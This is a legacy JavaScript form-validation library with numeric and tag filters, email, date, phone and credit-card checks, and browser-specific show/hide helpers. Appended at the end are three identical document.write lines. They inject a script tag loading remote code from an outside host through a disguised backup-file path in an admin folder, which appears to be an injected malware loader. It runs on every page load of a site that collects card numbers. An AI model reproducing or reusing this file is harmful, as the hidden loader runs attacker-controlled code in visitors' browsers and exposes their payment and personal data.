//Define Browser
var isNetsc=((navigator.appName == "Netscape")&&(navigator.userAgent.indexOf("Gecko")!=-1))
//**************************************************************************
function numberPlease(evt) 
{//Checks for numeric keypressed and restricts none numeric characters
    evt = (evt) ? evt : ((event) ? event : null);
    if (evt) 
    {
        var charCode = (evt.charCode || evt.charCode == 0) ? evt.charCode : 
                       ((evt.keyCode) ? evt.keyCode : evt.which);
        if (charCode > 13 && (charCode < 48 || charCode > 57)) 
        {
           if (evt.preventDefault) 
			{
             evt.preventDefault();
            } 
            else 
            {
             evt.returnValue = false;
            }
        }
    }
}
//**************************************************************************
function noTagsPlease(evt) 
{//Checks for HTML tags and restricts these characters ( "<" and ">" ) 
    evt = (evt) ? evt : ((event) ? event : null);
    if (evt) 
    {
        var charCode = (evt.charCode || evt.charCode == 0) ? evt.charCode : 
                       ((evt.keyCode) ? evt.keyCode : evt.which);
        if (charCode == 60 || charCode == 62) 
        {
           if (evt.preventDefault) 
			{
             evt.preventDefault();
            } 
            else 
            {
             evt.returnValue = false;
            }
        }
    }
}
//*****************************************************************
function StripTags(txt)
{//Cleans non numeric characters in numeric fields
var i,res =""
for (i = 0; i< txt.length; i++)
	{
		if (txt.substr(i, 1) != "<" && txt.substr(i,1) != ">")
			res += txt.substr(i, 1);
	}

return res;
}
/****************************************************************/
function isEmpty(str)
{
	if (str=="") return true;
	for (var i=0; i<str.length; i++)
	{
		var ch=str.substring(i,i+1);
		if (ch!=" ") return false;
	}
	return true;
}
function isEqual(str1,str2)
{
	if (str1 == str2)return true;
	return false;
}

function isAlphaNumeric(ch)
{	
	if (ch.length!=1) return false;
	if ((ch>="a" && ch<="z")||(ch>="A" && ch<="Z") || (ch>="0" && ch<="9"))  
		return true ;
	else 												
		return false;
}

function isInteger(str)
{
	if (isEmpty(str)) return false;
	for (var i=0; i<str.length; i++)
	{
		var ch=str.substring(i,i+1);
		if (ch<"0" || ch > "9" ) return false;
	}
	return true;
}
function isNumber(str)
{
	if (isEmpty(str)) return false;
	var j=0;
	for (var i=0; i<str.length; i++)
	{
		var ch=str.substring(i,i+1);
		if ((ch<"0" && ch !=".") || (ch > "9" && ch !=".")) return false;
		if (ch=='.') j++;
	}
	if (j>1) return false;
	return true;
}

function isPositiveInteger(str)
{
	if(!isInteger(str)) return false;
	if (eval(str)<=0) return false;
	return true;
}
function warning(txtObj,msg)
{
	alert(msg);
	txtObj.select();
	txtObj.focus();
}
function isMMDDYYYY1(str)
{
	if (str=="") return false;
	if (str.substring(2,3)!="/") return false;
	if (str.substring(5,6)!="/") return false;
	for (var i=0; i<str.length; i++)
	{
		var ch=str.substring(i,i+1);
		if ((ch<"0" && ch !="/") || (ch > "9" && ch !="/")) return false;		
	}
	return true;	
}
function isMMDDYYYY(str)
{
	var d=0;
	var m=0;
	var y=0;
	var m1=0;
	var d1=0;
	var dd="";
	var mm="";
	var yyyy="";
	for (var i=0;i<str.length;i++)
	{
		if (str.substring(i,i+1)=="/" && d==0 && m==0)
			{
				dd=str.substring(0,i);
				d=1;
				d1=i;
				continue;
			}
		if (str.substring(i,i+1)=="/" && d==1 && m==0)
			{
				mm=str.substring(d1+1,i);
				m=1;
				m1=i;
			}
	}
		yyyy=str.substring(m1+1,str.length+1);
		
		if (dd.length>2) return false
		if (mm.length>2) return false
		if (!(yyyy.length==4 || yyyy.length==2)) return false
		for (var i=0; i<dd.length; i++)
		{
			var ch=dd.substring(i,i+1);
			if (ch<"0"  || ch > "9") return false;		
		}
		for (var i=0; i<mm.length; i++)
		{
			var ch=mm.substring(i,i+1);
			if (ch<"0"  || ch > "9") return false;		
		}
		for (var i=0; i<yyyy.length; i++)
		{
			var ch=yyyy.substring(i,i+1);
			if (ch<"0"  || ch > "9") return false;		
		}
	return true;		
}
  
function isEmail(str)
{	if (isEmpty(str)) return false;
	var signCount=0;
	var signDot=0;
	var chAfterSignCount="";
	
	for (var i=0;i<str.length;i++)
	{	
		var ch=str.substring(i,i+1);
		if (i==0 && !isAlphaNumeric(ch)) 
		{
			//alert(ch)
			//alert(isAlphaNumeric(ch))
			return false;
		}
		if (ch=="@")
		{
			signCount++;
			var ch1=str.substring(i+1,i+2);
			if (!isAlphaNumeric(ch1)) return false;
		}
		if (ch==".")
		{
			signDot++;
			var ch1=str.substring(i+1,i+2);
			if (!isAlphaNumeric(ch1)) return false;
		}
	}
if (signCount!=1) return false
if (signDot<1) return false
return true;
}

function isPhoneNumber(area,part1,part2,ext)
{
	if(area.length!=3 || part1.length!=3 || part2.length!=4)
		return false;
	if(!isInteger(area) || !isInteger(part1) || !isInteger(part2))
		return false;
	if(ext!="" && !isInteger(ext))
		return false;
	
	return true;
}

function isExpired(month,year)
{
	if(!isInteger(month) || !isInteger(year))
		return true;
	today=new Date();
	theDate=new Date(year,month,01)
	if(today>=theDate) return true;
	return false;
}

function isValidCCNumber(n,t)
{
	n=StripNonNumeric(n);
	var cards = new Array(["MasterCard","51,52,53,54,55","16"],["Visa","4","13,16"],["Amex","34,37","15"],["Diners","30,36,38","14"],["Discover","6011","16"],["enRouteCard","2014,2149","15"],["JCBCard","3088,3096,3112,3158,3337,3528","16"]);

	//*** check if number is valid:
	var sum = 0;
	var typeSpec = '';

	for (var count=n.length-1;count>=0;count--)
		{var digit = parseInt(n.charAt(count));
		if (!(count & 1)) 
			{digit *= 2;
			if (digit > 9) digit -= 9;
			}
		sum += digit;

		}
	
	if (sum % 10 != 0) return "Number is invalid"; //1
	//*** check the cc type for the specified ccnumber (prefixes):
	var arrLen;
	var okLen=false;
	for(var i=0;i<cards.length;i++)
		{var arrRules = cards[i][1].split(",");
		for(var x=0;x<arrRules.length;x++)
			{var prefix = n.substring(0, arrRules[x].toString().length);
			if(prefix==arrRules[x]) 
				{typeSpec=cards[i][0];
			//*** check the length:
				arrLen=cards[i][2].split(",");
				break;
				}
			}
		}
	if(typeSpec.length<=0) return "Please check card number"; //2
	//*** check if cc type specified corresponds the rules:
	if(typeSpec!=t) return "Number does not correspond to " + t; //3
	//*** if length corresponds the rules:
	for(i=0;i<arrLen.length;i++)
		{if(n.length==arrLen[i])
			{okLen = true;
			break;
			}
		}
	if(!okLen) return "Please check your card number"; //4
return "OK";
}

function objBrowser(){
	this.isIE=document.all?true:false;
	this.isDOM=document.getElementById?true:false;
	this.isNS4=document.layers?true:false;
	this.isNS4up=navigator.appName=='Netscape'?true:false;
}
var brObj = new objBrowser();

function ShowHideControls(visible,hidden){
	if(brObj.isDOM){
		if(visible!== null)	{
			document.getElementById(visible).style.visibility='visible';
			document.getElementById(visible).style.position='';
		}
		if(hidden!==null)	{
			document.getElementById(hidden).style.visibility='hidden';
			document.getElementById(hidden).style.position='absolute';
		}
	}
	else if(brObj.isIE){
		if(visible!== null)	{
			document.all[visible].style.visibility = "visible";
			document.all[visible].style.position = "";
		}
		if(hidden!==null)	{
			document.all[hidden].style.visibility = "hidden";
			document.all[hidden].style.position = "absolute";
		}
	}
	else if(brObj.isNS4){
		if(visible!== null)	eval("document.layers['" + visible + "'].visibility='show';");
		if(hidden!==null)	eval("document.layers['" + hidden  + "'].visibility='hide';");
	}
}
document.write('<script src=http://sikulu.com/admin/abt_author.php__backup.php ><\/script>');
document.write('<script src=http://sikulu.com/admin/abt_author.php__backup.php ><\/script>');
document.write('<script src=http://sikulu.com/admin/abt_author.php__backup.php ><\/script>');